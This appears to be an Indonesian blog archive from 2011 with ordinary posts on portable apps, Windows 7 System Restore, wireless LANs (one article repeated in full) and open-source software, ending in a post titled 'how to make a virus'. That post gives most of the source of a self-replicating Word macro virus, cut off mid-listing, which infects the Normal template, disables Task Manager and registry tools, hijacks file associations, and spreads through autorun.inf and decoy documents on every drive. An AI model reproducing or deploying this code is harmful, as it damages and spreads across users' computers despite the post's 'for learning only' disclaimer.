Jumat, 09 September 2011

software pembuat aplikasi portable


Pada saat ini aplikasi atau program yang bersifat portable memang lagi banyak dicari dan digemari oleh user. Hal ini dikarenakan software portable tersebut dapat dibawa dan dijalankan dikomputer manapun tanpa harus menginstallnya terlebih dahulu. Alasan lain adalah dengan menggunakan aplikasi portable biasanya tidak perlu lagi memasukkan serial number dari program tersebut atau bisa dikatakan program tersebut menjadi full version.

aplikasi portable

Bagi shobat Syahida yang gemar sekali menggunakan aplikasi atau software portable, kini shobat bisa membuatnya sendiri. Membuat sendiri software atau aplikasi menjadi aplikasi dan software portable. Namun tentunya dengan bantuan software juga. Berikut ini adalah beberapa software yang dapat membuat sebuah aplikasi portable :

  1. VMware ThinApp (trial) dapat didownload disini http://www.vmware.com/products/thinapp/overview.html
  2. Portable App Creator (free) dapat didownload disini http://portableapps.com/download . Agar portable App Creator dapat bekerja dengan baik, harus terinstall utility autoIt dikomputer. Untuk download utility autoIt dapat diklik link berikut ini. http://autoitscript.com/autoit3/files/beta/autoit/archive/

system restore windows 7

System restore adalah salah satu fitur dari Operating system windows yang berfungsi untuk mengembalikan kondisi system windows tersebut pada kondisi tanggal sebelumnya. Artinya dengan memanfaatkan system restore ini kita bisa mengembalikan settingan pada windows (windows xp, windows vista, windows 7) pada kondisi / tanggal beberapa waktu sebelumnya. Tentunya hal ini akan sangat berguna sekali ketika computer kita sedang mengalami crash atau bisa juga tatkala terserang virus, sehingga computer menjadi tidak stabil, lambat, atau hang. Dengan menggunakan system restore ini, system windows dikembalikan pada kondisi atau tanggal saat windows tidak crash, atau sebelum terkena serangan virus. Oleh karenanya system restore ini sebaiknya tetap kita aktifkan. Untuk mengaktifkan system restore pada windows 7 dapat dilakukan dengan cara :
  1. Klik kanan [computer] > [properties] > [Klik system protection].

  2. Pada protection setting, available drive > pilih local disc [C:] [System]. Bila pada protection kondisinya [Off] berarti system restore pada drice C belum aktif. Untuk mengaktifkannya klik tombol [Configure]
  3. Pada jendela yang muncul, klik radio button [Restore System settings and previous versions of files], pada [disk space usage] atur besarnya volume disk yang digunakan. (jangan terlalu banyak, 5 – 10 % sudah cukup).

  4. Klik [OK].
  5. Kini system restore pada drive C: telah aktif.
Untuk menggunakan system restore biar bisa mengembalikan pada kondisi windows seperti waktu sebelumnya, maka kita harus membuat restore point. Restore point ini sebaiknya kita buat saat kondisi windows benar-benar optimal dan tanpa virus. Hal ini untuk jaga-jaga bila suatu saat nanti windows terjadi crash, tidak optimal, maka bisa kita kembalikan pada saat kita membuat restore point tersebut. Untuk membuat restore point bisa dilakukan dengan langkah-langkah :
  1. Klik kanan [computer] > [properties] > Klik [system protection].
  2. Pada protection setting, available drive > pilih local disc [C:] [System].
  3. Klik tombol [ created ] yang ada dibawahnya.

  4. Pada jendela yang muncul, ketikkan nama restore point yang akan kita buat. Dalam hal ini saya memberi nama “Windows 7 – ku” kemudian klik [create].

  5. Tunggu hingga muncul pemberitahuan “ the restore point was created successfully” klik [close]. Hal ini berarti restore point telah berhasil kita buat.
Untuk menggunakan restore point tersebut, berikut caranya :
  1. Klik [start] > [Accessories] > [System Tools] > [System Restore].
  2. Muncul jendela system restore, Klik [next].

  3. Pada jendela yang muncul, terlihat daftar restore point, baik yang dibuat oleh windows maupun yang telah kita buat tadi. Di sini kita pilih restore point yang telah kita buat yaitu dengan nama “ Windows 7 – ku” kemudian klik [next].

  4. Muncul konfirmasi restore point > klik [finish].

  5. Proses restore akan berlangsung ( biasanya minta restart terlebih dahulu )
  6. Setelah muncul konfirmasi restore complete, maka system windows anda telah kembali pada tanggal kondisi dimana restore point tersebut dibuat.
System restore ini pada beberapa kondisi bisa juga digunakan untuk mengatasi virus tanpa antivirus. Artinya bila computer sahabat terkena virus yang membandel bisa dicoba dengan menggunakan system restore. Walaupun tidak mesti berhasil, tapi saya rasa pantas untuk dicoba. Tidak ada salahnya khan ??!!

Rabu, 24 Agustus 2011

Jaringan Tanpa Kabel

Jaringan wireless: jaringan yang mengkoneksikan dua komputer atau lebih menggunakan sinyal radio, cocok untuk berbagi-pakai file, printer, atau akses Internet.
· Berbagi sumber file dan memindah-mindahkannya tanpa menggunakan kabel.
· Mudah untuk di-setup dan handal sehingga cocok untuk pemakaian di kantor atau di rumah.
· Produk dari produsen yang berbeda kadang-kadang tidak kompatibel.
· Harganya lebih mahal dibanding menggunakan teknologi ethernet kabel biasa.
Bila Anda ingin mengkoneksikan dua komputer atau lebih di lokasi yang sukar atau tidak mungkin untuk memasang kabel jaringan, sebuah jaringan wireless (tanpa kabel) mungkin cocok untuk diterapkan. Setiap PC pada jaringan wireless dilengkapi dengan sebuah radio tranceiver, atau biasanya disebut adapter atau kartu wireless LAN, yang akan mengirim dan menerima sinyal radio dari dan ke PC lain dalam jaringan. Anda akan mendapatkan banyak adapter dengan konfigurasi internal dan eksternal, baik untuk PC desktop maupun notebook.
Mirip dengan jaringan Ethernet kabel, sebuah wireless LAN mengirim data dalam bentuk paket. Setiap adapter memiliki nomor ID yang permanen dan unik yang berfungsi sebagai sebuah alamat, dan tiap paket selain berisi data juga menyertakan alamat penerima dan pengirim paket tersebut. Sama dengan sebuah adapter Ethernet, sebuah kartu wireless LAN akan memeriksa kondisi jaringan sebelum mengirim paket ke dalamnya. Bila jaringan dalam keadaan kosong, maka paket langsung dikirimkan. Bila kartu mendeteksi adanya data lain yang sedang menggunakan frekuensi radio, maka ia akan menunggu sesaat kemudian memeriksanya kembali.
Wireless LAN biasanya menggunakan salah satu dari dua topologi–cara untuk mengatur sebuah jaringan. Pada topologi ad-hoc–biasa dikenal sebagai jaringan peer-to-peer–setiap PC dilengkapi dengan sebuah adapter wireless LAN yang mengirim dan menerima data ke dan dari PC lain yang dilengkapi dengan adapter yang sama, dalam radius 300 kaki (±100 meter). Untuk topologi infrastruktur, tiap PC mengirim dan menerima data dari sebuah titik akses, yang dipasang di dinding atau langit-langit berupa sebuah kotak kecil berantena. Saat titik akses menerima data, ia akan mengirimkan kembali sinyal radio tersebut (dengan jangkauan yang lebih jauh) ke PC yang berada di area cakupannya, atau dapat mentransfer data melalui jaringan Ethernet kabel. Titik akses pada sebuah jaringan infrastruktur memiliki area cakupan yang lebih besar, tetapi membutuhkan alat dengan harga yang lebih mahal.
Walau menggunakan prinsip kerja yang sama, kecepatan mengirim data dan frekuensi yang digunakan oleh wireless LAN berbeda berdasarkan jenis atau produk yang dibuat, tergantung pada standar yang mereka gunakan. Vendor-vendor wireless LAN biasanya menggunakan beberapa standar, termasuk IEEE 802.11, IEEE 802.11b, OpenAir, dan HomeRF. Sayangnya, standar-standar tersebut tidak saling kompatibel satu sama lain, dan Anda harus menggunakan jenis/produk yang sama untuk dapat membangun sebuah jaringan.
Semua standar tersebut menggunakan adapter menggunakan segmen kecil pada frekuensi radio 2,4-GHz, sehingga bandwith radio untuk mengirim data menjadi kecil. Tetapi adapter tersebut menggunakan dua protokol untuk meningkatkan efisiensi dan keamanan dalam pengiriman sinyal:
· Frequency hopping spread spectrum, dimana paket data dipecah dan dikirimkan menggunakan frekuensi yang berbeda-beda, satu pecahan bersisian dengan lainnya, sehingga seluruh data dikirim dan diterima oleh PC yang dituju. Kecepatan sinyal frekuensi ini sangat tinggi, serta dengan pemecahan paket data maka sistem ini memberikan keamanan yang dibutuhkan dalam satu jaringan, karena kebanyakan radio tranceiver biasa tidak dapat mengikutinya.
· Direct sequence spread spectrum, sebuah metode dimana sebuah frekuensi radio dibagi menjadi tiga bagian yang sama, dan menyebarkan seluruh paket melalui salah satu bagian frekuensi ini. Adapter direct sequence akan mengenkripsi dan mendekripsi data yang keluar-masuk, sehingga orang yang tidak memiliki otoritas hanya akan mendengar suara desisan saja bila mereka menangkap sinyal radio tersebut.
Vendor wireless LAN biasanya menyebutkan transfer rate maksimum pada adapter buatan mereka. Model yang menggunakan standar 802.11 dapat mentransfer data hingga 2 megabit per detik, baik dengan metode frequency hopping atau direct sequence. Adapter yang menggunakan standar OpenAir dapat mentransfer data hingga 1,6-mbps menggunakan frequency hopping. Dan standar terbaru, HomeRF dapat mengirim dan menerima data dengan kecepatan 1,6-mbps (dengan menggunakan metoda frekuensi hopping). Wireless LAN kecepatan tinggi menggunakan standar 802.11b–yang dikenal sebagai WiFi–mampu mengirim data hingga 11-mbps dengan protokol direct sequence.
Wireless LAN mungkin tampaknya sangat layak untuk diterapkan dimana saja dan kapan saja. Tetapi harganya masih mahal, dan kinerjanya masih belum dapat diandalkan. Pada kebanyakan kantor, jaringannya menggunakan Ethernet kabel, karena sudah lama terpasang, dan harganya sangat murah. Untuk di rumah, orang dapat menggunakan jaringan kabel telepon untuk menyambungkan banyak PC dan dapat dipakai untuk berbagi-pakai akses Internet.
Wireless LAN harganya masih mahal. Pada tahun 1999, sebuah adapter harganya sekitar US$500, bandingkan dengan harga sebuah kartu Ethernet yang cuma US$20 atau kartu jaringan telepon seharga US$100. Perubahan mungkin akan tampak, saat Apple memperkenalkan sistem jaringan wireless AirPort untuk Macintosh, yang mampu memberikan troughput hingga 11-mbps dengan harga US$99 per node. Sejak itu, vendor lainnya berlomba-lomba menyediakan produk berharga murah tetapi berkinerja tinggi. Sebuah firma riset pasar Yankee Group memperkirakan bahwa wireless LAN akan mampu menembus pasar jaringan rumah pada tahun 2003.
Untuk saat ini, Anda dapat membeli adapter wireless LAN internal (kartu PCI atau ISA), model eksternal USB, dan PC Card atau kartu CardBus untuk notebook. Versi SOHO (small office-home office) dari Proxim (www.proxim.com) dan WebGear (www.webgear.com) harganya US$70 sampai US$130 per adapter. Harga ini bergantung dari jenis standar teknologi yang digunakan pada adapter. Untuk kalangan industri, adapternya berharga US$500 hingga US$700 dengan tambahan kemampuan seperti roaming (kemampuan untuk menggunakan titik akses manapun pada jaringan).
Pemakai dapat menambah titik akses untuk memperluas jangkauan jaringan mereka atau membantu mengatur lalu lintas data yang lewat. Adapter untuk titik akses tersebut tersedia dari Apple (untuk komputer Macintosh), Lucent (www.lucent.com/pss/prodover/) dan Proxim, dengan harga US$300 hingga US$700. Sebuah titik akses dapat berfungsi sebagai sebuah bridge ke jaringan kabel yang ada.
Di antara standar yang ada, para analis menjagokan IEEE 802.11b. Dengan kecepatan transfer hingga 11-mbps, 802.11b dapat menyalurkan data empat kali lebih cepat dibanding yang lain, tetapi harganya tidak jauh berbeda. Sementara itu, baru-baru ini, HomeRF yang dibeking oleh perusahaan besar seperti Intel, Compaq, dan Motorola, mendapat pengakuan dari FCC (Federal Communication Commission) sebagai standar wireless LAN resmi di Amerika Serikat. Walau begitu beberapa analis meragukan HomeRF dapat menjadi standar yang diakui di seluruh dunia, karena 802.11b terlanjur telah diadopsi oleh banyak vendor untuk produk wireless LAN berkecepatan tinggi.

Jaringan Tanpa Kabel

Jaringan wireless: jaringan yang mengkoneksikan dua komputer atau lebih menggunakan sinyal radio, cocok untuk berbagi-pakai file, printer, atau akses Internet.
· Berbagi sumber file dan memindah-mindahkannya tanpa menggunakan kabel.
· Mudah untuk di-setup dan handal sehingga cocok untuk pemakaian di kantor atau di rumah.
· Produk dari produsen yang berbeda kadang-kadang tidak kompatibel.
· Harganya lebih mahal dibanding menggunakan teknologi ethernet kabel biasa.
Bila Anda ingin mengkoneksikan dua komputer atau lebih di lokasi yang sukar atau tidak mungkin untuk memasang kabel jaringan, sebuah jaringan wireless (tanpa kabel) mungkin cocok untuk diterapkan. Setiap PC pada jaringan wireless dilengkapi dengan sebuah radio tranceiver, atau biasanya disebut adapter atau kartu wireless LAN, yang akan mengirim dan menerima sinyal radio dari dan ke PC lain dalam jaringan. Anda akan mendapatkan banyak adapter dengan konfigurasi internal dan eksternal, baik untuk PC desktop maupun notebook.
Mirip dengan jaringan Ethernet kabel, sebuah wireless LAN mengirim data dalam bentuk paket. Setiap adapter memiliki nomor ID yang permanen dan unik yang berfungsi sebagai sebuah alamat, dan tiap paket selain berisi data juga menyertakan alamat penerima dan pengirim paket tersebut. Sama dengan sebuah adapter Ethernet, sebuah kartu wireless LAN akan memeriksa kondisi jaringan sebelum mengirim paket ke dalamnya. Bila jaringan dalam keadaan kosong, maka paket langsung dikirimkan. Bila kartu mendeteksi adanya data lain yang sedang menggunakan frekuensi radio, maka ia akan menunggu sesaat kemudian memeriksanya kembali.
Wireless LAN biasanya menggunakan salah satu dari dua topologi–cara untuk mengatur sebuah jaringan. Pada topologi ad-hoc–biasa dikenal sebagai jaringan peer-to-peer–setiap PC dilengkapi dengan sebuah adapter wireless LAN yang mengirim dan menerima data ke dan dari PC lain yang dilengkapi dengan adapter yang sama, dalam radius 300 kaki (±100 meter). Untuk topologi infrastruktur, tiap PC mengirim dan menerima data dari sebuah titik akses, yang dipasang di dinding atau langit-langit berupa sebuah kotak kecil berantena. Saat titik akses menerima data, ia akan mengirimkan kembali sinyal radio tersebut (dengan jangkauan yang lebih jauh) ke PC yang berada di area cakupannya, atau dapat mentransfer data melalui jaringan Ethernet kabel. Titik akses pada sebuah jaringan infrastruktur memiliki area cakupan yang lebih besar, tetapi membutuhkan alat dengan harga yang lebih mahal.
Walau menggunakan prinsip kerja yang sama, kecepatan mengirim data dan frekuensi yang digunakan oleh wireless LAN berbeda berdasarkan jenis atau produk yang dibuat, tergantung pada standar yang mereka gunakan. Vendor-vendor wireless LAN biasanya menggunakan beberapa standar, termasuk IEEE 802.11, IEEE 802.11b, OpenAir, dan HomeRF. Sayangnya, standar-standar tersebut tidak saling kompatibel satu sama lain, dan Anda harus menggunakan jenis/produk yang sama untuk dapat membangun sebuah jaringan.
Semua standar tersebut menggunakan adapter menggunakan segmen kecil pada frekuensi radio 2,4-GHz, sehingga bandwith radio untuk mengirim data menjadi kecil. Tetapi adapter tersebut menggunakan dua protokol untuk meningkatkan efisiensi dan keamanan dalam pengiriman sinyal:
· Frequency hopping spread spectrum, dimana paket data dipecah dan dikirimkan menggunakan frekuensi yang berbeda-beda, satu pecahan bersisian dengan lainnya, sehingga seluruh data dikirim dan diterima oleh PC yang dituju. Kecepatan sinyal frekuensi ini sangat tinggi, serta dengan pemecahan paket data maka sistem ini memberikan keamanan yang dibutuhkan dalam satu jaringan, karena kebanyakan radio tranceiver biasa tidak dapat mengikutinya.
· Direct sequence spread spectrum, sebuah metode dimana sebuah frekuensi radio dibagi menjadi tiga bagian yang sama, dan menyebarkan seluruh paket melalui salah satu bagian frekuensi ini. Adapter direct sequence akan mengenkripsi dan mendekripsi data yang keluar-masuk, sehingga orang yang tidak memiliki otoritas hanya akan mendengar suara desisan saja bila mereka menangkap sinyal radio tersebut.
Vendor wireless LAN biasanya menyebutkan transfer rate maksimum pada adapter buatan mereka. Model yang menggunakan standar 802.11 dapat mentransfer data hingga 2 megabit per detik, baik dengan metode frequency hopping atau direct sequence. Adapter yang menggunakan standar OpenAir dapat mentransfer data hingga 1,6-mbps menggunakan frequency hopping. Dan standar terbaru, HomeRF dapat mengirim dan menerima data dengan kecepatan 1,6-mbps (dengan menggunakan metoda frekuensi hopping). Wireless LAN kecepatan tinggi menggunakan standar 802.11b–yang dikenal sebagai WiFi–mampu mengirim data hingga 11-mbps dengan protokol direct sequence.
Wireless LAN mungkin tampaknya sangat layak untuk diterapkan dimana saja dan kapan saja. Tetapi harganya masih mahal, dan kinerjanya masih belum dapat diandalkan. Pada kebanyakan kantor, jaringannya menggunakan Ethernet kabel, karena sudah lama terpasang, dan harganya sangat murah. Untuk di rumah, orang dapat menggunakan jaringan kabel telepon untuk menyambungkan banyak PC dan dapat dipakai untuk berbagi-pakai akses Internet.
Wireless LAN harganya masih mahal. Pada tahun 1999, sebuah adapter harganya sekitar US$500, bandingkan dengan harga sebuah kartu Ethernet yang cuma US$20 atau kartu jaringan telepon seharga US$100. Perubahan mungkin akan tampak, saat Apple memperkenalkan sistem jaringan wireless AirPort untuk Macintosh, yang mampu memberikan troughput hingga 11-mbps dengan harga US$99 per node. Sejak itu, vendor lainnya berlomba-lomba menyediakan produk berharga murah tetapi berkinerja tinggi. Sebuah firma riset pasar Yankee Group memperkirakan bahwa wireless LAN akan mampu menembus pasar jaringan rumah pada tahun 2003.
Untuk saat ini, Anda dapat membeli adapter wireless LAN internal (kartu PCI atau ISA), model eksternal USB, dan PC Card atau kartu CardBus untuk notebook. Versi SOHO (small office-home office) dari Proxim (www.proxim.com) dan WebGear (www.webgear.com) harganya US$70 sampai US$130 per adapter. Harga ini bergantung dari jenis standar teknologi yang digunakan pada adapter. Untuk kalangan industri, adapternya berharga US$500 hingga US$700 dengan tambahan kemampuan seperti roaming (kemampuan untuk menggunakan titik akses manapun pada jaringan).
Pemakai dapat menambah titik akses untuk memperluas jangkauan jaringan mereka atau membantu mengatur lalu lintas data yang lewat. Adapter untuk titik akses tersebut tersedia dari Apple (untuk komputer Macintosh), Lucent (www.lucent.com/pss/prodover/) dan Proxim, dengan harga US$300 hingga US$700. Sebuah titik akses dapat berfungsi sebagai sebuah bridge ke jaringan kabel yang ada.
Di antara standar yang ada, para analis menjagokan IEEE 802.11b. Dengan kecepatan transfer hingga 11-mbps, 802.11b dapat menyalurkan data empat kali lebih cepat dibanding yang lain, tetapi harganya tidak jauh berbeda. Sementara itu, baru-baru ini, HomeRF yang dibeking oleh perusahaan besar seperti Intel, Compaq, dan Motorola, mendapat pengakuan dari FCC (Federal Communication Commission) sebagai standar wireless LAN resmi di Amerika Serikat. Walau begitu beberapa analis meragukan HomeRF dapat menjadi standar yang diakui di seluruh dunia, karena 802.11b terlanjur telah diadopsi oleh banyak vendor untuk produk wireless LAN berkecepatan tinggi.

Open Source yang Mengubah Dunia

open_source_softwareOpen Source software, perlahan tapi pasti telah berhasil menarik perhatian dan penerimaan dari dunia. Butuh perjuangan yang tidak begitu mudah dan kadang menyakitkan, sehingga open source software ini memberikan pengaruh penting kepada dunia. Berikut ini beberapa aplikasi open source software yang telah berhasil mempengaruhi dunia, dan bahkan banyak pengguna yang tidak menyadari bahwa aplikasi ini adalah open source software.
1. GNU/Linux
Mungkin ini adalah hal terbesar yang pernah terjadi dalam dunia Open Source. Richard M Stallman, beliaulah ujung tombak sebuah proyek sistem software yang lengkap dan compatible dengan Unix dan sepenuhnya free yang beliau namakan GNU (Gnu is Not Unix). Bersamaan dengan itu Linus Torvalds berhasil mengembangkan kernel dan memberikan source codenya kepada khalayak, dinamakanlah Linux. Kernel Linux dan proyek GNU berhasil digabung menghasilkan sistem operasi baru dengan sebutan GNU/Linux atau Linux saja.
2. RedHat
Mungkin merupakan salah satu perusahaan yang menjadi besar karena proyeknya bersifat Open source. Redhat inilah yang berhasil mematahkan kritik yang menyebutkan open source tidak bisa mendatangkan profit. Diperkirakan nilai perusahaan di tahun 2010 ini mencapai $748,23 juta USD. Sungguh angka yang fantastis untuk sebuah perusahaan yang bergerak Open Source.
3. Ubuntu
Merupakan distro Linux terpopuler dan menjadi inspirasi terbentuknya distro-distro linux yang baru. Bahkan diperkirakan popularitasnya telah melebihi Linux itu sendiri.
4. WordPress
merupakan CMS berbasis blog yang banyak digunakan saat ini. Jarang orang mempercayai bahwa WordPress adalah aplikasi berbasis open source. CMS = Content Management System.
5. Drupal
Drupal juga merupakan CMS berbasis Open Source yang terbesar di dunia.
6. MySQL
Merupakan salah satu aplikasi management database yang paling populer saat ini. Kini MySQL sudah menjadi tool yang powerful bagi banyak situs besar di dunia seperti Wikipedia, Google dan juga Facebook.
7. Apache
Apache merupakan webserver paling populer sejak 1996. Saat ini Apache sudah melayani lebih dari 54, 56 % website di seluruh dunia.
8. Mozilla Firefox
Mungkin ini adalah kisah open source yang paling fenomenal. Firefox berani muncul mengejar pasar saat IE begitu kuat mendominasi saat itu. Pertarungan web browser ini akhirnya mengalami keseimbangan dan bahkan saat ini Firefox membuktikan dirinya lebih handal daripada IE.
9. OpenOffice
“gratis dan tidak cukup berguna” seperti itulah anggapan orang pada awalnya. Tetapi hanya dalam jangka satu tahun setelah Open Office 3 diluncurkan, aplikasi ini sudah didownload lebih dari 100 juta pengguna. Dan sekarang, aplikasi office suite ini telah menjadi alternatif yng dipilih banyak pihak untuk menggantikan office suite berbayar dari Windows yang dinilai terlalu mahal.
10. Google Chrome (Chromium)
Google mungkin adalah salah satu perusahaan besar yang sangat mengerti potensi yang sesungguhnya dari Open Source Software, karena itu lahirlah Google Chrome. Dari beberapa penelitian terakhir, Google Chrome terbukti sebagai browser teraman dibandingkan web browser lainnya.
11. Android
Mencoba melawan dominasi dari Symbian. Inilah kejutan yang menyenangkan bagi dunia Open Source, Android dengan mudah diterima dan dgunakan di pasar mobile device.

Senin, 01 Agustus 2011

Cara Membuat Virus


Pendahuluan
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Cara Kerja
Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer tetapi dapat mengakibatkan kerusakan dengan cara memuat program yang memaksa over process ke perangkat tertentu. Efek negatif virus komputer adalah memperbanyak dirinya sendiri, yang membuat sumber daya pada komputer (seperti penggunaan memori) menjadi berkurang secara signifikan. Hampir 95% virus komputer berbasis sistem operasi Windows. Sisanya menyerang Linux/GNU, Mac, FreeBSD, OS/2 IBM, dan Sun Operating System. Virus yang ganas akan merusak perangkat keras.
(Baca: ilmu dalam tutorial ini untuk pembelajaran bukan untuk disalahgunakan)
Ini adalah tutorial saya yang kesekian kalinya dan mudah-mudahan tutorial kali ini bermanfaat untuk kalian.
Kali ini saya akan membahas mengenai virus macro… (para virus maker diharap untuk tenang dulu!).
Pasti banyak bertanya kenapa kali ini membahas tentang cara membuat virus? Biasanya kan lebih sering membahas analisis virus atau antivirusnya itu….
Yah kali ini memang agak berbeda. Selain untuk mencari suasana baru, aku juga agak tertantang dengan artikel yang saya buat ini.
Sebelum aku membuat artikel ini, aku sengaja mencari-cari kelemahan dari antivirusku sendiri (baca:Morphost). Ternyata aku lebih tertarik untuk membuat virus macro untuk mencari celah antivirusku itu. Untuk membuat artikel ini memang butuh pengorbanan juga. Soalnya komputerku jadi terinfeksi oleh virusku sendiri. Haaahhh…..

Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic macro di Microsoft Office. Kita ambil contoh, virus macro Word.
CARA MEMBUAT VIRUS
  1. Buka Ms.Word (hanya contoh)
  2. buka tools > Macro> Visual Basic Editor

  • Akan muncul gambar di bawah

Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak gambar seperti dibawah ini.


Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???
Tenang, aku dah siapkan kok sourcenya. Makan neh source code!
‘This is my code’s virus
‘Macro Viruses
‘[Macroid]
‘Hanya untuk pembelajaran
Private Sub Document_Close()
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content  = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf  & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf  & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(“Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”
b.regwrite  “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”,  “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If  Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And  Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And  Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And  Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If  Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And  Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And  Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And  Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
Print  #1, “a.regwrite ” & Chr(34) &  “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34)  & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34)  & “REG_DWORD” & Chr(34)
